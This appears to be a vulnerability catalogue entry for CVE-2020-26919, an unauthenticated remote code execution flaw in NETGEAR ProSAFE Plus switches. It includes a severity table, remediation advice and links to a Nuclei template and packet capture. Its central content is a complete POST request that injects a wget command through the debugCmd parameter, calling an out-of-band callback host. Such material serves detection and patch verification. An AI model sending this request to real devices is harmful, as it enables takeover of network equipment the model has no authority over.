| Title | NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device. |
| Remediation | Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9411 |
| CVE ID | CVE-2020-26919 |
| Tags | cve cve2020 netgear rce oast router unauth kev vkev vuln |
NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
POST /login.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 90
Accept: */*
Accept-Encoding: gzip
submitId=debug&debugCmd=wget+http://d5joqq9le0o2hm6d2d1gb9wn5cdbqhf4p.oast.site&submitEnd=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26919.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-26919.pcap
N/AN/A